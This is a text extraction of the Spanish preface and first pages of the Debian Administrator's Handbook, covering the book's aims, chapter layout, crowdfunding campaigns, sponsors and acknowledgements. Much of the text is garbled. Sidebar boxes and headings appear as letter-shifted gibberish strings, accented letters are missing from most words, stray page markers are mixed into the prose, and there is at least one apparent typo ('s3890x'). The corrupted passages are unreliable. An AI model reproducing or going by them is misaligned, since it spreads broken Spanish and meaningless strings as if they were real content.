Noviembre de 2013
Stefano Zacchiroli (lder del Proyecto Debian 2010-2013) y Lucas Nussbaum (lder del Proyecto
Debian 2013-actualidad)

1SMPHP

97**

1SFGBDJP
Desde hace varios aos Linux adquiere cada vez ms fuerza, y su creciente popularidad impulsa
a cada vez ms y ms usuarios a dar el salto. El primer paso en ese camino consiste en elegir una
distribucin. Es una decisin importante ya que cada distribucin tiene sus propias peculiaridades y una eleccin correcta desde el principio puede evitar los costos de migraciones futuras.
70-7&3 " -04
$*.*&/504
EJTUSJCVDJO -JOVY ODMFP
-JOVY

&TUSJDUBNFOUF IBCMBOEP -JOVY FT TPMP VO ODMFP MB QJF[B DFOUSBM EF TPXBSF


RVF TF FODVFOUSB FOUSF FM IBSEXBSF Z MBT BQMJDBDJPOFT
6OB kEJTUSJCVDJO -JOVY{ FT VO TJTUFNB PQFSBUJWP DPNQMFUP OPSNBMNFOUF JO
DMVZF FM ODMFP -JOVY VO QSPHSBNB JOTUBMBEPS Z TPCSF UPEP BQMJDBDJPOFT Z PUSP
TPXBSF OFDFTBSJP QBSB DPOWFSUJS VO FRVJQP FO VOB IFSSBNJFOUB SFBMNFOUF
UJM

Debian GNU/Linux es una distribucin de Linux genrica que se ajusta a la mayora de los
usuarios. El propsito de este libro es mostrar sus numerosos aspectos para que pueda tomar
una decisin fundada en el momento de elegir una distribucin.

1PS RV FTUF MJCSP


$6-563"
%JTUSJCVDJPOFT DPNFSDJBMFT

-B NBZPSB EF EJTUSJCVDJPOFT -JOVY FTUO SFTQBMEBEBT QPS FNQSFTBT DPO GJOFT


EF MVDSP RVF MBT EFTBSSPMMBO Z DPNFSDJBMJ[BO CBKP BMHO UJQP EF QSPZFDUP DPN
FSDJBM "MHVOPT FKFNQMPT TPO 6CVOUV QSJODJQBMNFOUF EFTBSSPMMBEP QPS $BOPO
JDBM -UE .BOESJWB -JOVY QPS MB DPNQBB GSBODFTB .BOESJWB 4" Z 4VTF -JOVY
RVF FT NBOUFOJEB Z DPNFSDJBMJ[BEB QPS /PWFMM
&O FM FYUSFNP PQVFTUP TF FODVFOUSBO BRVFMMBT TJNJMBSFT B %FCJBO Z EF MB
k"QBDIF 4PXBSF 'PVOEBUJPO{ RVF BMCFSHB FM EFTBSSPMMP EFM TFSWJEPS XFC
"QBDIF
 %FCJBO FT BOUF UPEP VO QSPZFDUP FO FM NVOEP EFM 4PXBSF -JCSF
JNQMFNFOUBEP QPS WPMVOUBSJPT RVF USBCBKBO KVOUPT B USBWT EF *OUFSOFU 4J CJ
FO BMHVOPT EF FMMPT USBCBKBO FO %FCJBO DPNP QBSUF EFM USBCBKP RVF SFBMJ[BO FO
WBSJBT FNQSFTBT FM QSPZFDUP DPNP UBM OP FTU BTPDJBEP B OJOHVOB FNQSFTB FO
QBSUJDVMBS BT DPNP UBNQPDP OJOHVOB FNQSFTB UJFOF VOB JOGMVFODJB FTQFDJBM
FO MBT DVFTUJPOFT EFM QSPZFDUP RVF MB RVF QPTFF DVBMRVJFS DPMBCPSBEPS WPMVO
UBSJP

Linux ha disfrutado de una gran cobertura meditica en los ltimos aos; esta beneficia sobre
todo a las distribuciones que se apoyan en un departamento de marketing real en otras pal-

abras: distribuciones respaldas por empresas (Ubuntu, Red Hat, SUSE, Mandriva, etc.). Sin embargo, Debian est lejos de ser una distribucin marginal; muchos estudios mostraron a travs
de los aos que se utiliza tanto en servidores como escritorios. Esto es particularmente cierto
en servidores web, donde Debian es la distribucin Linux de preferencia.
http://www.heise.de/open/artikel/Eingesetzte-Produkte-224518.html

http://w3techs.com/blog/entry/debian_ubuntu_extend_the_dominance_in_the_
linux_web_server_market_at_the_expense_of_red_hat_centos

El propsito de este libro es ayudarle a descubrir esta distribucin. Esperamos compartir la experiencia que hemos acumulado desde que nos unimos al proyecto como desarrolladores y contribuidores en 1998 (Raphal) y 2000 (Roland). Con suerte, transmitiremos nuestro entusiasmo
y quizs decidas unirte a nosotros algn da
La primera edicin de este libro (en 2004) sirvi para llenar un vaco: fue el primer libro en
francs que se centr exclusivamente en Debian. En ese momento se escribieron muchos otros
libros sobre Debian, tanto para los lectores de habla francesa como para los de habla inglesa.
Lamentablemente casi ninguno de ellos fue actualizado desde entonces, y con los aos volvimos
a una situacin en la que haba muy pocos libros buenos sobre Debian. Esperamos que este libro,
que cobr vida nuevamente desde su traduccin al ingls (y varias traducciones del ingls a
muchos otros idiomas) llene este vaco y ayude a muchos usuarios.

1BSB RVJO FT FTUF MJCSP


Hemos intentado hacer un libro til para muchas categoras de lectores. En primer lugar, administradores de sistemas (tanto principiantes como expertos) encontrarn explicaciones acerca de
la instalacin y despliegue en muchos equipos. Tambin se harn una idea de la mayora de los
servicios disponibles en Debian, junto con las instrucciones de configuracin y una descripcin
de las particularidades de la distribucin. Comprender los mecanismos que tienen lugar en el desarrollo de Debian les capacitar para tratar con problemas imprevistos, sabiendo que siempre
pueden contar con la ayuda de la comunidad.
Los usuarios de otras distribuciones de Linux, o de otra variante de Unix, descubrirn las caractersticas especficas de Debian y se adaptarn muy rpidamente mientras se benefician plenamente de las ventajas nicas de esta distribucin.
Finalmente, los lectores que ya tienen conocimientos previos de Debian y quieren conocer ms
acerca de la comunidad que se encuentra detrs de Debian vern sus expectativas cumplidas.
Este libro debera acercarles mucho ms a unirse a nosotros como colaboradores.

&OGPRVF HFOFSBM
Toda la documentacin genrica que pueda encontrar acerca de GNU/Linux tambin es aplicable a Debian ya que Debian incluye la mayora del software libre. Sin embargo, la distribucin

99

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

incorpora muchas mejoras, por lo que hemos decidido describir en primer lugar la forma Debian de hacer las cosas.
Es importante seguir las recomendaciones de Debian, pero es an ms importante entender
sus razones. Por lo tanto, no nos limitaremos slamente a explicaciones prcticas; tambin describiremos la forma en la que funciona el proyecto para brindarle un conocimiento exhaustivo
y consistente.

&TUSVDUVSB EFM MJCSP


Este libro nace en la coleccin Libro del Administrador de la editorial francesa Eyrolles, y
mantiene el mismo enfoque en torno a un caso de estudio que proporciona apoyo y ejemplos de
todos los temas abordados en el mismo.
/05"
4JUJP XFC FNBJM EFM BVUPS

&TUF MJCSP UJFOF TV QSPQJP TJUJP XFC RVF BMCFSHB UPEPT MPT FMFNFOUPT RVF QVFEFO
IBDFSMP NT UJM &O QBSUJDVMBS JODMVZF VOB WFSTJO POMJOF EFM MJCSP DPO FOMBDFT
DMJDLBCMFT Z QPTJCMF GF EF FSSBUBT 4JOUBTF MJCSF EF OBWFHBSMP Z EFKBSOPT TVT
DPNFOUBSJPT Z TVHFSFODJBT /PT BMFHSBS MFFS TVT PQJOJPOFT P TVT NFOTBKFT EF
BQPZP &OWF VO FNBJM B IFSU[PH!EFCJBOPSH 3BQIBM
Z MPMBOEP!EFCJBOPSH
3PMBOE

http://debian-handbook.info/

El captulo 1 se centra en una presentacin no tcnica del proyecto Debian y describe sus objetivos y organizacin. Estos aspectos son importantes porque definen un marco general que se
completar en otros captulos con informacin ms concreta.
Los captulos 2 y 3 presentan el caso de estudio en lneas generales. Llegados a este punto los
lectores principiantes pueden echar un vistazo al apndice B, donde pueden encontrar un breve
curso que explica nociones bsicas de informtica, as como tambin los conceptos inherentes
a cualquier sistema Unix.
Para comenzar nuestro tema principal, lgicamente vamos a empezar con el proceso de instalacin (captulo 4); los captulos 5 y 6 darn a conocer las herramientas bsicas que todo administrador de Debian utilizar, como las pertenecientes a la familia APT que es, en gran parte,
la responsable de la excelente reputacin de la distribucin. Estos captulos no son exclusivamente para profesionales, puesto que cada uno en su casa es su propio administrador.
El captulo 7 ser un parntesis importante, describe los flujos de trabajo para usar eficientemente la documentacin y para lograr comprender rpidamente los problemas para poder
resolverlos.
Los captulos siguientes proporcionarn una visin ms detallada del sistema, empezando por la
infraestructura bsica y los servicios (desde el captulo 8 hasta el 10) y se ir avanzado progresivamente hasta las aplicaciones de usuario en el captulo 13. El captulo 12 trata de temas ms
avanzados relacionados directamente con los administradores de grandes conjuntos de equipos
(incluyendo servidores), mientras que el captulo 14 es una breve introduccin al tema ms amplio que es la seguridad y proporciona algunas claves para evitar la mayora de los problemas.

1SFGBDJP

99*

El captulo 15 es para administradores que quieran profundizar y crear sus propios paquetes
Debian.
70$"#6-"3*0
1BRVFUF %FCJBO

6O QBRVFUF %FCJBO FT VO BSDIJWP RVF DPOUJFOF UPEPT MPT BSDIJWPT OFDFTBSJP


QBSB JOTUBMBS VOB QJF[B EF TPXBSF /PSNBMNFOUF FT VO BSDIJWP DPO FYUFOTJO
.deb Z QVFEF TFS NBOJQVMBEP DPO FM QSPHSBNB dpkg 5BNCJO DPOPDJEP DPNP
QBRVFUF CJOBSJP DPOUJFOF MPT BSDIJWPT RVF QVFEFO TFS VUJMJ[BEPT EJSFDUBNFOUF
UBMFT DPNP QSPHSBNBT Z EPDVNFOUBDJO
 1PS PUSP MBEP VO QBRVFUF GVFOUF
DPOUJFOF FM DEJHP GVFOUF QBSB FM TPXBSF Z MBT JOTUSVDDJPOFT OFDFTBSJBT QBSB
DPOTUSVJS FM QBRVFUF CJOBSJP

La versin actual es la primera escrita principalmente para ingls y la segunda disponible en


dicho idioma; la anterior estaba basada en la quinta edicin del libro en francs. Esta edicin
trata sobre la versin 7 de Debian, de nombre cdigo Wheezy. Entre sus cambios, Debian ahora
es compatible con dos arquitecturas nuevas s3890x en reemplazo de s390 para equipos mainframe IBM System Z, y armhf para procesadores ARM que poseen una unidad hardware para
aritmtica de punto flotante. Hablando de arquitecturas, el gestor de paquetes de Debian ahora es multiarquitectura y puede administrar la instalacin simultnea del mismo paquete para
diferentes arquitecturas. Obviamente, se actualizaron todos los paquetes incluidos, inclusive el
escritorio GNOME proveyendo ahora su versin 3.4.
Hemos aadido algunas notas y comentarios en recuadros. Cumplen varias funciones: pueden
remarcar un punto difcil, complementar nociones del caso de estudio, definir algunos trminos o servir como recordatorios. A continuacin se muestra una lista de las anotaciones ms
comunes:
VOLVER A LOS CIMIENTOS: un recordatorio acerca de informacin que se supone ya es
conocida por el lector;
VOCABULARIO: define un trmino tcnico, a veces especfico de Debian;
COMUNIDAD: resalta personas o roles importantes dentro del proyecto;
NORMA: una regla o recomendacin de la Poltica de Debian (Debian Policy). Este documento es esencial en el proyecto y describe cmo empaquetar software. Las partes de
la poltica resaltadas en este libro proporcionarn beneficios directos a los usuarios (por
ejemplo: el saber que estandariza la ubicacin de la documentacin y los ejemplos facilita
encontrarlos incluso en un nuevo paquete).
HERRAMIENTA: presenta una herramienta o servicio relevante;
EN LA PRCTICA: la teora y la prctica no siempre coinciden; estos recuadros contienen
consejos que son el resultado de nuestra experiencia. Tambin pueden proporcionar
ejemplos detallados y concretos;
otros recuadros ms o menos frecuentes son bastante explcitos: CULTURA, SUGERENCIA,
PRECAUCIN, YENDO MS ALL, SEGURIDAD y otros.

99**

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

3FDPOPDJNJFOUPT
6O QPDP EF IJTUPSJB
En 2003, Nat Makarvitch se puso en contacto con Raphal porque quera publicar un libro sobre Debian en la coleccin Cahier de l'Admin (libro del administrador) que estaba coordinando
para Eyrolles, un editor francs de libros tcnicos. Raphal acept escribirlo inmediatamente.
La primera edicin sali a la luz el 14 de octubre de 2004 y tuvo un gran xito se agot apenas
cuatro meses ms tarde.
Desde entonces, hemos publicado 5 ediciones del libro en francs, uno para cada versin posterior de Debian. Roland, quien inicialmente trabaj en el libro como corrector, poco a poco se
convirti en su co-autor.
Si bien estbamos satisfechos, obviamente, con el xito del libro siempre esperamos que Eyrolles convenciera a un editor internacional para que realizara la traduccin al ingls. Hemos
recibido numerosos comentarios que explican cmo el libro ayud a gente a empezar con Debian
y estbamos interesados en ayudar a ms personas de la misma manera.
Por desgracia, no conseguimos contactar con ningn editor de habla inglesa que estuviera dispuesto a correr el riesgo de traducir y publicar el libro. No nos dejamos intimidar por este pequeo contratiempo y negociamos con nuestro editor francs, Eyrolles y recuperamos los derechos necesarios para traducir el libro al ingls y publicarlo nosotros mismos. Gracias a una campaa de financiacin colectiva (crowdfunding), trabajamos en la traduccin desde Diciembre
de 2011 y Mayo de 2012. As naci el Libro del administrador de Debian y fue publicado bajo
una licencia de software libre!
Si bien este fue un avance importante, ya sabamos que nuestra historia no acabara hasta que
contribuyramos el libro en francs como una traduccin oficial del libro en ingls. Esto no fue
posible originalmente porque Eyerolles todava distribua comercialmente el libro en francs
bajo una licencia privativa.
En 2013, la publicacin de Debian 7 nos provey una buena oportunidad para discutir un nuevo
contrato con Eyerolles. Los convencimos que una licencia ms acorde con los valores de Debian
ayudara al xito del libro. No fue una negociacin sencilla y acordamos organizar una nueva
campaa de financiacin colectiva para cubrir algunos de los gastos y reducir los riesgos involucrados. Dicha operacin, nuevamente, fue un gran xito y agregamos la traduccin al francs
del Libro del administrador de Debian en Julio de 2013.

/BDJNJFOUP EFM MJCSP FO JOHMT


Volvemos a 2011, cuando acabbamos de obtener los derechos necesarios para traducir al ingls
nuestro libro en francs. Estamos investigando formas de lograrlo.
Traducir un libro de 450 pginas supone un esfuerzo considerable que requiere varios meses
de trabajo. Trabajadores autnomos como nosotros tuvimos que garantizar unos ingresos mnimos para poder disponer del tiempo necesario para completar el proyecto. As que pusimos en

1SFGBDJP

99***

marcha una campaa de financiacin pblica en Ulule y pedimos a la gente que contribuyera al
proyecto comprometindose economicamente.
http://www.ulule.com/debian-handbook/
La campaa tena dos objetivos: alcanzar la cifra de 15.000 para poder realizar la traduccin y
llegar a disponer de un fondo para la liberacin del libro de 25.000 que hiciera que el mismo
sea publicado bajo una licencia libre es decir, una licencia que sigue fielmente las Directrices
de software libre de Debian (Debian Free Software Guidelines).
Cuando termin la campaa en Ulule, se haba logrado alcanzar el primer objetivo con 24.345
. Sin embargo, no se complet el fondo para la liberacin del libro, recaudando slo 14.395 .
Tal y como se anunci inicialmente, la campaa para la liberacin del libro continu en el sitio
oficial del libro independientemente de Ulule.
Mientras estbamos ocupados traduciendo el libro, continuaron las donaciones para la liberacin del libro Y en abril de 2012 se alcanz el monto necesario para la liberacin. De este
modo es que puede beneficiarse de este libro bajo los trminos de una licencia libre.
Nos gustara dar las gracias a todos los que contribuyeron con estas campaas de recaudacin
de fondos, ya sea mediante la promesa de algo de dinero o pasando la voz. No podramos haberlo
hecho sin ti.

&NQSFTBT Z PSHBOJ[BDJPOFT EF BQPZP


Tuvimos el placer de conseguir importantes contribuciones de muchas empresas y organizaciones afines al software libre. Gracias a Code Lutin3 , cole Ouverte Francophone4 , Evolix5 , Fantini Bakery6 , FSF France7 , Offensive Security8 (la empresa detrs de Kali Linux9 ), Opensides10 ,
Proxmox Server Solutions Gmbh11 , SSIELL (Socit Solidaire d'Informatique En Logiciels Libres) y Syminet12 .
Tambin nos gustara dar las gracias a OMG! Ubuntu13 y a April14 por su ayuda en la promocin
del proyecto.

http://www.codelutin.com
http://eof.eu.org
5
http://www.evolix.fr
6
http://www.fantinibakery.com
7
http://fsffrance.org
8
http://www.offensive-security.com
9
http://www.kali.org
10
http://www.opensides.be
11
http://www.proxmox.com
12
http://www.syminet.com
13
http://www.omgubuntu.co.uk
14
http://www.april.org
4

99*7

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

"QPZPT JOEJWJEVBMFT
Con ms de 650 contribuyentes en la recaudacin inicial de fondos y varios cientos ms en la
campaa de liberacin posterior, este proyecto ha sido posible gracias a personas como usted.
Gracias!
Queremos dar las gracias especialmente a aquellos que han contribuido con al menos 35 (a
veces mucho ms!) al fondo para la liberacin del libro. Estamos encantados de que haya tantas
personas que compartan nuestros valores de libertad y sin embargo reconocen que merecamos
una compensacin por el trabajo realizado en este proyecto.
As que gracias a Alain Coron, Alain Thabaud, Alan Milnes, Alastair Sherringham, Alban
Dumerain, Alessio Spadaro, Alex King, Alexandre Dupas, Ambrose Andrews, Andre Klrner,
Andreas Olsson, Andrej Ricnik, Andrew Alderwick, Anselm Lingnau, Antoine Emerit, Armin F.
Gnosa, Avtis Kazarian, Bdale Garbee, Benoit Barthelet, Bernard Zijlstra, Carles Guadall Blancafort, Carlos Horowicz Planisys S.A., Charles Brisset, Charlie Orford, Chris Sykes, Christian Bayle, Christian Leutloff, Christian Maier, Christian Perrier, Christophe Drevet, Christophe
Schockaert (R3vLibre), Christopher Allan Webber, Colin Ameigh, Damien Dubdat, Dan Pettersson, Dave Lozier, David Bercot, David James, David Schmitt, David Tran Quang Ty, Elizabeth
Young, Fabian Rodriguez, Ferenc Kiraly, Frdric Perrenot Intelligence Service 001, Fumihito Yoshida, Gian-Maria Daffr, Gilles Meier, Giorgio Cittadini, Hctor Orn Martnez, Henry,
Herbert Kaminski, Hideki Yamane, Hoffmann Information Services GmbH, Holger Burkhardt,
Horia Ardelean, Ivo Ugrina, Jan Dittberner, Jim Salter, Johannes Obermller, Jonas Bofjll, Jordi
Fernandez Moledo, Jorg Willekens, Joshua, Kastrolis Imanta, Keisuke Nakao, Kvin Audebrand,
Korbinian Preisler, Kristian Tizzard, Laurent Bruguire, Laurent Hamel, Leurent Sylvain, Loc
Revest, Luca Scarabello, Lukas Bai, Marc Singer, Marcelo Nicolas Manso, Marilyne et Thomas,
Mark Janssen Sig-I/O Automatisering, Mark Sheppard, Mark Symonds, Mathias Bocquet, Matteo Fulgheri, Michael Schaffner, Michele Baldessari, Mike Chaberski, Mike Linksvayer, Minh
Ha Duong, Moreau Frdric, Morphium, Nathael Pajani, Nathan Paul Simons, Nicholas Davidson, Nicola Chiapolini, Ole-Morten, Olivier Mondoloni, Paolo Innocenti, Pascal Cuoq, Patrick
Camelin, Per Carlson, Philip Bolting, Philippe Gauthier, Philippe Teuwen, PJ King, Praveen Arimbrathodiyil (j4v4m4n), Ralf Zimmermann, Ray McCarthy, Rich, Rikard Westman, Robert Kosch,
Sander Scheepens, Sbastien Picard, Stappers, Stavros Giannouris, Steve-David Marguet, T.
Gerigk, Tanguy Ortolo, Thomas Hochstein, Thomas Mller, Thomas Pierson, Tigran Zakoyan,
Tobias Gruetzmacher, Tournier Simon, Trans-IP Internet Services, Viktor Ekmark, Vincent Demeester, Vincent van Adrighem, Volker Schlecht, Werner Kuballa, Xavier Neys, y a Yazid Cassam
Sulliman.

-JCFSBDJO EFM MJCSP FO GSBODT


Despus de la publicacin del libro en ingls bajo una licencia de software libre, nos encontrbamos en una situacin extraa: con un libro libre que es una traduccin de un libro privativo
(ya que Eyerolles todava lo distribua comercialmente bajo una licencia privativa).

1SFGBDJP

997

Sabamos que necesitaramos convencer a Eyerolles que una licencia libre contribuira al xito
del libro para poder corregir esto. Se dio la oportunidad en 2013 cuando tuvimos que discutir
un nuevo contrato para actualizar el libro para Debian 7. Debido a que liberar un libro tiene un
impacto significativo en sus ventas, como un punto intermedio, accedimos a llevar a cabo una
campaa de financiacin colectiva (crowdfunding) para contrarrestrar algunos de los riesgos
y contribuir a los costos de la publicacin de una nueva edicin. Nuevamente utilizamos Ulule
para dicha campaa:
http://www.ulule.com/liberation-cahier-admin-debian/
El objetivo eran 15000 en 30 das. Nos tom menos de una semana llegar a dicha cifra, y obtuvimos la increble cifra de 25518 de 721 seguidores cuando finaliz.
Tuvimos contribuciones importantes de empresas y organizaciones cercanas al software libre.
Permtanos agradecer a: el sitio web LinuxFr.org15 , Korben16 , Addventure17 , Eco-Cystmes18 ,
ELOL SARL19 y Linuvers20 . Muchas gracias a LinuxFr y Korben, quienes ayudaron significativamente a difundir la noticia.
La operacin fue un gran xito porque cientos de personas comparten nuestros valores de libertad y los defendieron con su dinero! Muchas gracias por eso.
Especialmente gracias a aquellos que decidieron dar 25 ms que el valor de su recompensa.
Apreciamos enormemente su fe en este proyecto. Gracias Adrien Guionie, Adrien Ollier, Adrien
Roger, Agileo Automation, Alban Duval, Alex Viala, Alexandre Dupas, Alexandre Roman, Alexis Bienvene, Anthony Renoux, Aurlien Beaujean, Baptiste Darthenay, Basile Deplante, Benjamin Cama, Benjamin Guillaume, Benoit Duchene, Benot Sibaud, Bornet, Brett Ellis, Brice Sevat, Bruno Le Goff, Bruno Marmier, Cdric Briner, Cdric Charlet, Cdrik Bernard, Celia Redondo,
Cengiz nl, Charles Flche, Christian Bayle, Christophe Antoine, Christophe Bliard, Christophe
Carr, Christophe De Saint Leger, Christophe Perrot, Christophe Robert, Christophe Schockaert, Damien Escoffier, David Dellier, David Trolle, Davy Hubert, Decio Valeri, Denis Marcq, Denis Soriano, Didier Hnaux, Dirk Linnerkamp, Edouard Postel, Eric Coquard, Eric Lemesre, Eric
Parthuisot, Eric Vernichon, rik Le Blanc, Fabian Culot, Fabien Givors, Florent Bories, Florent
Machen, Florestan Fournier, Florian Dumas, Franois Ducrocq, Francois Lepoittevin, FranoisRgis Vuillemin, Frdric Boiteux, Frdric Gulen, Frdric Keigler, Frdric Lietart, Gabriel
Moreau, Gian-Maria Daffr, Grgory Lche, Grgory Valentin, Guillaume Boulaton, Guillaume
Chevillot, Guillaume Delvit, Guillaume Michon, Herv Guimbretiere, Ivn Alemn, Jacques Bompas, Jannine Koch, Jean-Baptiste Roulier, Jean-Christophe Becquet, Jean-Franois Bilger, JeanMichel Grare, Jean-Sbastien Lebacq, Jrme Ballot, Jerome Pellois, Johan Roussel, Jonathan
Gallon, Joris Dedieu, Julien Gilles, Julien Groselle, Kevin Messer, Laurent Espitallier, Laurent
Fuentes, Le Got Du Libre, Ludovic Poux, Marc Gasnot, Marc Verprat, Marc-Henri Primault, Martin Bourdoiseau, Mathieu Chapounet, Mathieu Emering, Matthieu Joly, Melvyn Leroy, Michel
15

http://linuxfr.org
http://korben.info
17
http://www.addventure.fr
18
http://www.eco-cystemes.com/
19
http://elol.fr
20
http://www.linuvers.com
16

997*

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Casabona, Michel Kapel, Mickael Tonneau, Mikal Marcaud, Nicolas Bertaina, Nicolas Bonnet,
Nicolas Dandrimont, Nicolas Dick, Nicolas Hicher, Nicolas Karolak, Nicolas Schont, Olivier Gosset, Olivier Langella, Patrick Francelle, Patrick Nomblot, Philippe Gaillard, Philippe Le Naour,
Philippe Martin, Philippe Moniez, Philippe Teuwen, Pierre Brun, Pierre Gambarotto, PierreDominique Perrier, Quentin Fait, Raphal Enrici Root 42, Rmi Vanicat, Rhydwen Volsik,
RyXo SARL, Samuel Boulier, Sandrine D'hooge, Sbasiten Piguet, Sbastien Bollingh, Sbastien
Kalt, Sbastien Lardire, Sbastien Poher, Sbastien Prosper, Sbastien Raison, Simon Folco, Socit Tce, Stphane Leibovitsch, Stphane Paillet, Steve-David Marguet, Sylvain Desveaux,
Tamatoa Davio, Thibault Taillandier, Thibaut Girka, Thibaut Poullain, Thierry Jaouen, Thomas
Etcheverria, Thomas Vidal, Thomas Vincent, Vincent Avez, Vincent Merlet, Xavier Alt, Xavier
Bensemhoun, Xavier Devlamynck, Xavier Guillot, Xavier Jacquelin, Xavier Neys, Yannick Britis,
Yannick Gurin e Yves Martin.

"HSBEFDJNJFOUPT FTQFDJBMFT QBSB DPMBCPSBEPSFT


Este libro no sera lo que es sin la colaboracin de varias personas, cada una de las cuales cumpli
un papel importante durante la fase de traduccin y despus. Nos gustara dar las gracias a Marilyne Brun, quien nos ayud a traducir el captulo de ejemplo y que ha trabajado con nosotros
para definir unas reglas comunes para la traduccin. Tambin revis varios captulos en los que
necesitbamos desesperadamente una ayuda adicional. Muchas gracias a Anthony Baldwin (de
Linguas Baldwin) que ha traducido varios captulos para nosotros.
Hemos aprovechado la generosa ayuda de los correctores: Daniel Phillips, Gerold Rupprecht,
Gordon Dey, Owens Jacob, y Syroid Tom. Cada uno de ellos examin muchos captulos. Muchas
gracias!
Luego, una vez que se liber la versin en ingls, por supuesto que obtuvimos muchos comentarios y sugerencias de los lectores, y an ms de los varios equipos que trabajaron en la traduccin
de este libro a sus idiomas. Gracias!
Nos gustara agradecer tambin a los lectores del libro en francs, quienes nos proporcionaron
lindas citas para confirmar que el libro realmente vala la pena ser traducido: gracias a Christian
Perrier, David Bercot, tienne Litart y a Gilles Roussi. Stefano Zacchiroli el lder del proyecto Debian durante la campaa de financiacin tambin se merece un gran agradecimiento,
avalando el proyecto con una cita explicando que hacan mucha falta libros libres.
Si tiene el placer de leer estas lneas en papel impreso, entonces nase a nosotros en el agradecimiento a Benot Guillon, Jean-Cme Charpentier y a Sbastien Mengin quienes trabajaron en el
diseo interior del libro. Benot es el autor original de dblatex21 la herramienta que usamos
para convertir DocBook en LaTeX (y luego en PDF). Sbastien es el diseador que cre el bonito
diseo de este libro y Jean-Cme es el experto en LaTeX que lo implement como una hoja de
estilo usable con dblatex. Gracias chicos por el duro trabajo que realizaron!
Finalmente, gracias a Thierry Stempfel por las bonitas imgenes que aparecen en la presentacin de cada captulo y gracias a Doru Patrascu por la bonita cubierta del libro.
21

http://dblatex.sourceforge.net

1SFGBDJP

997**

3FDPOPDJNJFOUPT QFSTPOBMFT EF 3BQIBM


En primer lugar me gustara dar las gracias a Nat Makarvitch, quien me ofreci la posibilidad de
escribir este libro y quien me orient durante el ao que tom hacerlo. Gracias tambin al buen
equipo de Eyrolles y a Muriel Shan Sei Fan en particular. Ella ha sido muy paciente conmigo y
he aprendido mucho con ella.
El perodo de tiempo que duraron las campaas de Ulule fue muy exigente para m, pero me
gustara dar las gracias a todos los que colaboraron para que fueran un xito y, en particular,
al equipo de Ulule que respondi muy rpidamente a mis muchas peticiones. Gracias tambin
a todos los que promocionaron los proyectos. No tengo ninguna lista donde se recoja de forma
exhaustiva todas las personas que me ayudaron (y si la tuviera problablemente sera demasiado
larga), pero me gustara dar las gracias a algunas personas que estuvieron en contacto conmigo:
Joey-Elijah Sneddon y Benjamin Humphrey de OMG! Ubuntu, Florent Zara de LinuxFr.org, Manu
de Korben.info, Frdric Couchet de April.org, Jake Edge de Linux Weekly News, Clement Lefebvre de Linux Mint, Ladislav Bodnar de Distrowatch, Steve Kemp de Debian-Administration.org,
Christian Pfeiffer Jensen de Debian-News.net, Artem Nosulchik de LinuxScrew.com, Stephan
Ramoin de Gandi.net, Matthew Bloch de Bytemark.co.uk, el equipo de Divergence FM, Rikki Kite
de Linux New Media, Jono Bacon, el equipo de mrketing de Eyrolles y otros muchos que me he
olvidado (siento haberlos olvidado).
Me gustara hacer llegar mi agradecimiento personal a Roland Mas, mi co-autor. Hemos estado
colaborando en este libro desde el principio y siempre ha estado a la altura del desafo. Y debo
decir que completar el Libro del administrador de Debian ha sido un montn de trabajo
Por ltimo, pero no menos importante, gracias a mi esposa Sophie. Ha sido un gran apoyo para
mi trabajo en este libro y en Debian en general. Hubo demasiados das (y noches) en que la dej
sola con nuestros 2 hijos para lograr avanzar algo en el libro. Estoy muy agradecido por su apoyo
y s lo afortunado que soy de tenerla.

"HSBEFDJNJFOUPT QFSTPOBMFT EF 3PMBOE


Bien, Raphal ya adelant gran parte de mis agradecimientos externos. An as, voy a enfatizar mi agradecimiento personal a la buena gente de Eyrolles con la que la colaboracin siempre
ha sido agradable y fluida. Esperemos que los resultados de sus excelentes consejos no se hayan
perdido en la traduccin.
Estoy extremadamente agradecido a Raphal por llevar a cabo la parte administrativa de la edicin en ingls. Desde organizar la campaa para obtener fondos hasta los detalles de la apariencia del libro, crear un libro traducido es mucho ms que una simple traduccin y una correccin,
Raphal lo hizo todo (o por lo menos deleg y lo supervis). As que gracias.
Gracias tambin a todos los que han contribuido ms o menos directamente con este libro, proporcionando aclaraciones, explicaciones o consejos para la traduccin. Son demasiados para
mencionar, pero la mayora de ellos se pueden encontrar en varios canales de IRC de #debian-*.

997***

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Hay, por supuesto, algo de superposicin con el conjunto de personas anterior, pero merecen
agradecimientos especficos aquellos que hacen Debian especficamente. No habra libro sin ellos, y todava estoy sorprendido por lo que el proyecto Debian en su conjunto produce y pone a
disposicin de todos y cada uno.
Agradezco ms personalmente a mis amigos y mis clientes, por su comprensin cuando demoraba en responder porque estaba trabajando en este libro, y tambin por su constante apoyo,
aliento e inspiracin. Ustedes saben quienes son, gracias.
Por ltimo, y estoy seguro de que se sorprenderan por ser mencionados aqu, pero me gustara
expresar mi agradecimiento a Terry Pratchett, Jasper Fforde, Tom Holt, William Gibson, Neal
Stephenson y por supuesto al difunto Douglas Adams. Las incontables horas que pas disfrutando de sus libros son directamente responsables de que yo sea capaz de formar parte primero en
la traduccin de uno y luego escribiendo nuevas partes.

1SFGBDJP

99*9

1BMBCSBT DMBWF
0CKFUJWP
.FEJPT
'VODJPOBNJFOUP
7PMVOUBSJPT

$BQUVMP

&M QSPZFDUP %FCJBO

$POUFOJEPT
 FT %FCJBO

-PT EPDVNFOUPT EF GVOEBDJO 

4FHVJS MBT OPUJDJBT EF %FCJBO 

&M GVODJPOBNJFOUP JOUFSOP EFM QSPZFDUP %FCJBO 

&M QBQFM EF MBT EJTUSJCVDJPOFT 

$JDMP EF WJEB EF VOB WFSTJO 

Antes de sumergirnos directamente en la tecnologa, vamos a echar un vistazo a qu


es el proyecto Debian, sus objetivos, sus medios y su funcionamiento.

  FT %FCJBO
$6-563"
&M PSJHFO EFM OPNCSF %FCJBO

/P CVTRVF NT %FCJBO OP FT VO BDSOJNP &TUF OPNCSF FT FO SFBMJEBE VOB


QBMBCSB DPNQVFTUB QPS EPT OPNCSFT MPT EF *BO .VSEPDL Z TV OPWJB FO FTF
NPNFOUP %FCSB %FCSB *BO  %FCJBO

Debian es una distribucin GNU/Linux y GNU/kFreeBSD. Ms adelante veremos con ms detalle


qu es una distribucin en la Seccin 1.5, El papel de las distribuciones pgina 24, pero por
ahora nos limitaremos a decir que es un sistema operativo completo, incluyendo el software
y los sistemas para su instalacin y gestin, todo ello basado en el ncleo Linux o FreeBSD y
software libre (en especial del proyecto GNU).
